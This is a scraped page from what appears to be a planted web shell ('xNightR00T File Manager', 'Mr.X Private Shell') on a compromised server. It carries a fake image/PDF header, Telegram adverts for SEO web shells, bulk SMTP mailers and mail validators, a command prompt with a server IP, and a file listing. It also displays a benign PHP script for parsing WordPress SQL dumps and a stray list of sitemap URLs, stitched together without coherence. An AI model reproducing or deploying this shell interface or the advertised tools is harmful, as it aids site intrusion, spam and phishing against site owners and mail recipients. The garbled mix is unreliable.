xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php
/**
 * Common Functions cho SQL INSERT Processing
 * Các hàm tái sử dụng để xử lý SQL INSERT statements
 */

/**
 * Trích xuất tất cả các câu lệnh INSERT từ file SQL
 * 
 * @param string $filename Đường dẫn đến file SQL
 * @return array Mảng chứa các câu lệnh INSERT (mỗi phần tử là một INSERT statement đầy đủ)
 */
function exportInsertQueries($filename) {
    if (!file_exists($filename)) {
        throw new Exception("File không tồn tại: $filename");
    }
    
    $inserts = [];
    $handle = fopen($filename, 'r');
    
    if (!$handle) {
        throw new Exception("Không thể mở file: $filename");
    }
    
    $currentInsert = '';
    $inInsert = false;
    
    while (($line = fgets($handle)) !== false) {
        $trimmed = trim($line);
        
        // Bỏ qua comments và SET statements
        if (empty($trimmed) || 
            strpos($trimmed, '--') === 0 || 
            strpos($trimmed, '/*') === 0 ||
            strpos($trimmed, 'SET') === 0 ||
            strpos($trimmed, '*/') !== false) {
            continue;
        }
        
        // Bắt đầu INSERT
        if (preg_match('/^INSERT\s+INTO/i', $trimmed)) {
            $inInsert = true;
            $currentInsert = $trimmed;
            
            // Kiểm tra xem INSERT có kết thúc trên cùng dòng không
            if (substr(rtrim($trimmed), -1) === ';') {
                $inserts[] = $currentInsert;
                $inInsert = false;
                $currentInsert = '';
            }
        } elseif ($inInsert) {
            // Tiếp tục INSERT statement
            $currentInsert .= ' ' . $trimmed;
            
            if (substr(rtrim($trimmed), -1) === ';') {
                $inserts[] = $currentInsert;
                $inInsert = false;
                $currentInsert = '';
            }
        }
    }
    
    // Xử lý INSERT cuối cùng nếu chưa kết thúc
    if ($inInsert && !empty($currentInsert)) {
        if (substr(rtrim($currentInsert), -1) !== ';') {
            $currentInsert .= ';';
        }
        $inserts[] = $currentInsert;
    }
    
    fclose($handle);
    return $inserts;
}

/**
 * Parse VALUES từ INSERT statement
 * 
 * @param string $valuesString Chuỗi VALUES từ INSERT statement
 * @return array Mảng các giá trị
 */
function parseValues($valuesString) {
    $values = [];
    $current = '';
    $depth = 0;
    $inQuotes = false;
    $quoteChar = '';
    
    // Loại bỏ dấu ngoặc đơn ngoài cùng nếu có
    $valuesString = trim($valuesString);
    if (substr($valuesString, -1) === ';') {
        $valuesString = substr($valuesString, 0, -1);
    }
    
    // Tìm phần trong ngoặc đơn đầu tiên
    if (preg_match('/^\((.+)\)$/s', trim($valuesString), $matches)) {
        $valuesString = $matches[1];
    }
    
    // Parse từng giá trị
    $len = strlen($valuesString);
    for ($i = 0; $i < $len; $i++) {
        $char = $valuesString[$i];
        
        if (!$inQuotes && ($char === '"' || $char === "'")) {
            $inQuotes = true;
            $quoteChar = $char;
            $current .= $char;
        } elseif ($inQuotes && $char === $quoteChar) {
            // Kiểm tra escape
            if ($i > 0 && $valuesString[$i-1] === '\\') {
                $current .= $char;
            } else {
                $inQuotes = false;
                $current .= $char;
            }
        } elseif (!$inQuotes && $char === '(') {
            $depth++;
            $current .= $char;
        } elseif (!$inQuotes && $char === ')') {
            $depth--;
            $current .= $char;
        } elseif (!$inQuotes && $char === ',' && $depth === 0) {
            $values[] = trim($current);
            $current = '';
        } else {
            $current .= $char;
        }
    }
    
    if (!empty($current)) {
        $values[] = trim($current);
    }
    
    return $values;
}

/**
 * Kiểm tra xem INSERT statement có nên bị bỏ qua không
 * 
 * @param string $tableName Tên bảng
 * @param array $values Mảng giá trị
 * @param array $columns Mảng tên cột
 * @return bool true nếu nên bỏ qua, false nếu không
 */
function shouldSkipInsert($tableName, $values, $columns) {
    // Danh sách bảng cần bỏ qua hoàn toàn
    $skipTables = [
        'skm_options',
        'skm_actionscheduler_logs',
        'skm_actionscheduler_actions',
        'skm_usermeta',
        'skm_wpmailsmtp_tasks_meta',
        'skm_users',
        'skm_actionscheduler_groups',
        'skm_comments',
        'skm_wpcc_urls',
        'skm_terms',
        'skm_term_relationships',
        'skm_user_approve',
        'skm_term_taxonomy'
    ];
    
    // Kiểm tra xem bảng có trong danh sách skip không
    if (in_array($tableName, $skipTables)) {
        return true;
    }
    
    // Xử lý đặc biệt cho bảng skm_options
    if ($tableName === 'skm_options') {
        // Chỉ skip nếu có values và có thể xác định option_name
        if (empty($values)) {
            // Nếu không có values, không skip (để parse tiếp)
            return false;
        }
        
        // Tìm cột option_name
        $optionNameIndex = -1;
        if (!empty($columns)) {
            // Tìm index của cột option_name trong danh sách columns
            foreach ($columns as $index => $col) {
                $col = trim($col, " `");
                if (strtolower($col) === 'option_name') {
                    $optionNameIndex = $index;
                    break;
                }
            }
        } else {
            // Không có tên cột, giả định cột thứ 2 (index 1) là option_name
            // Cột 1 (index 0) là option_id
            if (count($values) >= 2) {
                $optionNameIndex = 1;
            }
        }
        
        // Lấy giá trị option_name nếu tìm thấy index
        if ($optionNameIndex >= 0 && isset($values[$optionNameIndex]) && !empty($values[$optionNameIndex])) {
            $optionName = trim($values[$optionNameIndex], " '\"");
            
            // Bỏ qua các option_name bắt đầu với:
            // - _transient_*
            // - _site_transient_*
            // - timeout_*
            if (!empty($optionName) && (
                strpos($optionName, '_transient_') === 0 ||
                strpos($optionName, '_site_transient_') === 0 ||
                strpos($optionName, 'timeout_') === 0
            )) {
                return true;
            }
        }
    }
    
    // Xử lý đặc biệt cho bảng skm_posts
    if ($tableName === 'skm_posts') {
        // Chỉ skip nếu có values và có thể xác định post_status
        if (empty($values)) {
            // Nếu không có values, không skip (để parse tiếp)
            return false;
        }
        
        // Tìm cột post_status
        $postStatusIndex = -1;
        if (!empty($columns)) {
            // Tìm index của cột post_status trong danh sách columns
            foreach ($columns as $index => $col) {
                $col = trim($col, " `");
                if (strtolower($col) === 'post_status') {
                    $postStatusIndex = $index;
                    break;
                }
            }
        } else {
            // Không có tên cột, giả định cột thứ 8 (index 7) là post_status
            // Cấu trúc: ID, post_author, post_date, post_date_gmt, post_content, 
            //           post_title, post_excerpt, post_status, ...
            if (count($values) >= 8) {
                $postStatusIndex = 7;
            }
        }
        
        // Lấy giá trị post_status nếu tìm thấy index
        if ($postStatusIndex >= 0 && isset($values[$postStatusIndex]) && !empty($values[$postStatusIndex])) {
            $postStatus = trim($values[$postStatusIndex], " '\"");
            
            // Bỏ qua nếu post_status = 'inherit' hoặc 'auto-draft'
            if (!empty($postStatus)) {
                $postStatusLower = strtolower($postStatus);
                if ($postStatusLower === 'inherit' || $postStatusLower === 'auto-draft' || $postStatusLower === 'trash') {
                    return true;
                }
            }
        }
    }
    
    // Xử lý đặc biệt cho bảng skm_postmeta
    if ($tableName === 'skm_postmeta') {
        // Chỉ skip nếu có values và có thể xác định meta_key
        if (empty($values)) {
            // Nếu không có values, không skip (để parse tiếp)
            return false;
        }
        
        // Danh sách meta_key cần bỏ qua
        $skipMetaKeys = [
            '_elementor_edit_mode',
            '_elementor_template_type',
            '_elementor_version',
            '_elementor_pro_version',
            '_edit_lock',
            '_wp_trash_meta_time',
            '_customize_restore_dismissed',
            '_wp_trash_meta_status'
        ];
        
        // Tìm cột meta_key
        $metaKeyIndex = -1;
        if (!empty($columns)) {
            // Tìm index của cột meta_key trong danh sách columns
            foreach ($columns as $index => $col) {
                $col = trim($col, " `");
                if (strtolower($col) === 'meta_key') {
                    $metaKeyIndex = $index;
                    break;
                }
            }
        } else {
            // Không có tên cột, giả định cột thứ 3 (index 2) là meta_key
            // Cấu trúc: meta_id, post_id, meta_key, meta_value
            if (count($values) >= 3) {
                $metaKeyIndex = 2;
            }
        }
        
        // Lấy giá trị meta_key nếu tìm thấy index
        if ($metaKeyIndex >= 0 && isset($values[$metaKeyIndex]) && !empty($values[$metaKeyIndex])) {
            $metaKey = trim($values[$metaKeyIndex], " '\"");
            
            // Bỏ qua nếu meta_key nằm trong danh sách skip
            if (!empty($metaKey) && in_array($metaKey, $skipMetaKeys)) {
                return true;
            }
        }
    }
    
    return false;
}

/**
 * Parse INSERT statement và trả về thông tin chi tiết
 * 
 * @param string $line Câu lệnh INSERT
 * @return array|null Mảng chứa thông tin: table, key (để so sánh), full (toàn bộ statement), values, columns, null nếu bị skip
 */
function parseInsert($line) {
    // Lấy tên bảng
    if (preg_match('/INSERT\s+INTO\s+`?(\w+)`?/i', $line, $matches)) {
        $tableName = $matches[1];
    } else {
        return null;
    }
    
    // Kiểm tra xem có tên cột không
    $hasColumns = preg_match('/INSERT\s+INTO\s+`?\w+`?\s*\(([^)]+)\)\s+VALUES/is', $line, $colMatches);
    $columns = [];
    if ($hasColumns) {
        // Parse tên cột
        $colString = $colMatches[1];
        $columns = array_map('trim', explode(',', preg_replace('/`/', '', $colString)));
    }
    
    // Lấy phần VALUES
    if (preg_match('/VALUES\s+(.+);?$/is', $line, $matches)) {
        $valuesString = trim($matches[1]);
        $values = parseValues($valuesString);
        
        // Kiểm tra xem có nên bỏ qua không (chỉ khi có values)
        // Nếu values rỗng, vẫn parse tiếp (có thể là format đặc biệt)
        if (!empty($values)) {
            if (shouldSkipInsert($tableName, $values, $columns)) {
                return null; // Bỏ qua INSERT này
            }
            
            $firstValue = trim($values[0], " '\"");
            return [
                'table' => $tableName,
                'key' => $tableName . '|' . $firstValue,
                'full' => $line,
                'values' => $values,
                'columns' => $columns
            ];
        }
    }
    
    // Nếu không có VALUES, vẫn kiểm tra xem có nên bỏ qua không
    if (shouldSkipInsert($tableName, [], $columns)) {
        return null;
    }
    
    return [
        'table' => $tableName,
        'key' => $tableName . '|' . md5($line),
        'full' => $line,
        'values' => [],
        'columns' => []
    ];
}

/**
 * Đọc và parse tất cả INSERT từ file thành mảng có key để so sánh
 * 
 * @param string $filename Đường dẫn đến file SQL
 * @return array Mảng với key là identifier để so sánh, value là thông tin INSERT đã parse
 */
function readInserts($filename) {
    $inserts = [];
    $insertQueries = exportInsertQueries($filename);
    
    foreach ($insertQueries as $query) {
        $parsed = parseInsert($query);
        if ($parsed) {
            $inserts[$parsed['key']] = $parsed;
        }
    }
    
    return $inserts;
}

/**
 * Chuyển INSERT statement thành UPDATE statement
 * 
 * @param array $insertData Dữ liệu INSERT đã parse
 * @return string|null Câu lệnh UPDATE hoặc null nếu không thể tạo
 */
function insertToUpdate($insertData) {
    if (empty($insertData['values'])) {
        return null;
    }
    
    $table = $insertData['table'];
    $values = $insertData['values'];
    $columns = $insertData['columns'] ?? [];
    
    // Giả định cột đầu tiên là primary key
    $primaryKeyValue = $values[0];
    
    // Nếu có tên cột, tạo UPDATE với SET clause
    if (!empty($columns) && count($columns) === count($values)) {
        $setParts = [];
        // Bỏ qua cột đầu tiên (primary key)
        for ($i = 1; $i < count($columns); $i++) {
            $colName = trim($columns[$i], " `");
            $setParts[] = "`$colName` = " . $values[$i];
        }
        
        $primaryKeyCol = trim($columns[0], " `");
        return "UPDATE `$table` SET " . implode(', ', $setParts) . " WHERE `$primaryKeyCol` = $primaryKeyValue;";
    } else {
        // Không có tên cột, dùng REPLACE INTO (hoạt động như UPDATE nếu trùng key)
        return "REPLACE INTO `$table` VALUES (" . implode(', ', $values) . ");";
    }
}

/**
 * Thay thế domain trong SQL statement
 * Xử lý nhiều case: http, https, không có protocol, mã hóa URL, v.v.
 * 
 * @param string $sql SQL statement
 * @param string $oldDomain Domain cũ cần thay thế
 * @param string $newDomain Domain mới
 * @return string SQL statement sau khi thay thế
 */
function replaceDomainInSql($sql, $oldDomain, $newDomain) {
    // Chuẩn hóa domain cũ - loại bỏ protocol để tìm tất cả các biến thể
    $oldDomainClean = preg_replace('#^https?://#i', '', $oldDomain);
    $oldDomainClean = rtrim($oldDomainClean, '/');
    
    // Chuẩn hóa domain mới
    $newDomainClean = preg_replace('#^https?://#i', '', $newDomain);
    $newDomainClean = rtrim($newDomainClean, '/');
    
    // Xác định protocol của domain mới
    $newProtocol = '';
    if (preg_match('#^(https?)://#i', $newDomain, $protocolMatch)) {
        $newProtocol = strtolower($protocolMatch[1]) . '://';
    } else {
        // Mặc định là https nếu không có protocol
        $newProtocol = 'https://';
    }
    
    $newDomainFull = $newProtocol . $newDomainClean;
    $result = $sql;
    
    // 1. Domain với http:// và https:// (toàn bộ URL)
    $result = preg_replace('#https?://' . preg_quote($oldDomainClean, '#') . '(/[^\s\'"`;]*)?#i', $newDomainFull . '$1', $result);
    
    // 2. Domain không có protocol nhưng có path //domain/path
    $result = preg_replace('#//' . preg_quote($oldDomainClean, '#') . '(/[^\s\'"`;]*)?#i', '//' . $newDomainClean . '$1', $result);
    
    // 3. Domain mã hóa URL (http%3A%2F%2Fdomain.com)
    $oldHttpEncoded = urlencode('http://' . $oldDomainClean);
    $oldHttpsEncoded = urlencode('https://' . $oldDomainClean);
    $newDomainEncoded = urlencode($newDomainFull);
    $result = str_ireplace($oldHttpEncoded, $newDomainEncoded, $result);
    $result = str_ireplace($oldHttpsEncoded, $newDomainEncoded, $result);
    
    // 4. Domain trong serialized PHP (s:length:"http://domain.com")
    // Pattern: s:15:"http://domain.com"
    $result = preg_replace_callback('#s:(\d+):"((?:https?://)?' . preg_quote($oldDomainClean, '#') . '[^"]*)"#i', 
        function($matches) use ($newDomainFull, $oldDomainClean, $newDomainClean) {
            $oldLength = intval($matches[1]);
            $oldUrl = $matches[2];
            
            // Thay thế domain trong URL
            $newUrl = preg_replace('#(https?://)?' . preg_quote($oldDomainClean, '#') . '#i', $newDomainFull, $oldUrl);
            $newLength = strlen($newUrl);
            
            return 's:' . $newLength . ':"' . $newUrl . '"';
        }, 
        $result
    );
    
    // 5. Domain trong JSON string (có thể có escape)
    // Pattern: "http://domain.com" hoặc \"http://domain.com\"
    $result = preg_replace('#(["\'])((?:https?://)?' . preg_quote($oldDomainClean, '#') . '[^"\']*)\1#i', 
        '$1' . preg_replace('#(https?://)?' . preg_quote($oldDomainClean, '#') . '#i', $newDomainFull, '$2') . '$1', 
        $result
    );
    
    // 6. Domain đơn thuần không có protocol và không trong quotes (chỉ thay khi không phải là substring)
    // Pattern: domain.com (không có //, không có http, không trong quotes)
    // Chỉ thay thế khi domain đứng độc lập hoặc sau dấu =, :, space
    $result = preg_replace('#(?<!://)(?<!["\'])(?<![\w.])' . preg_quote($oldDomainClean, '#') . '(?!/)(?![a-zA-Z0-9.])#i', $newDomainClean, $result);
    
    return $result;
}

/**
 * Tự động phát hiện domain cũ trong file SQL
 * 
 * @param string $filename Đường dẫn đến file SQL
 * @return string|null Domain tìm được hoặc null
 */
function detectDomain($filename) {
    if (!file_exists($filename)) {
        return null;
    }
    
    $handle = fopen($filename, 'r');
    if (!$handle) {
        return null;
    }
    
    $domains = [];
    $lineCount = 0;
    $maxLines = 1000; // Chỉ đọc 1000 dòng đầu để tối ưu
    
    while (($line = fgets($handle)) !== false && $lineCount < $maxLines) {
        $lineCount++;
        
        // Tìm các pattern domain phổ biến
        // http://domain.com hoặc https://domain.com
        if (preg_match_all('#https?://([a-zA-Z0-9.-]+\.[a-zA-Z]{2,})#i', $line, $matches)) {
            foreach ($matches[1] as $domain) {
                if (!isset($domains[$domain])) {
                    $domains[$domain] = 0;
                }
                $domains[$domain]++;
            }
        }
        
        // Domain không có protocol (ít phổ biến hơn)
        if (preg_match_all('#(?:^|[^a-zA-Z0-9])([a-zA-Z0-9.-]+\.(?:com|net|org|vn|dev|local))#i', $line, $matches)) {
            foreach ($matches[1] as $domain) {
                if (!isset($domains[$domain])) {
                    $domains[$domain] = 0;
                }
                $domains[$domain] += 0.5; // Trọng số thấp hơn
            }
        }
    }
    
    fclose($handle);
    
    if (empty($domains)) {
        return null;
    }
    
    // Lấy domain xuất hiện nhiều nhất
    arsort($domains);
    return key($domains);
}
?>

Filemanager

Name Type Size Permission Actions
HUONG_DAN_SU_DUNG.md File 7.56 KB 0777
README_COMPARE_AND_MERGE.md File 5.72 KB 0777
common_functions.php File 18.78 KB 0777
compare_and_merge.php File 8.15 KB 0777
db_insert_only.sql File 123.32 MB 0777
extract_inserts.php File 3.88 KB 0777
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml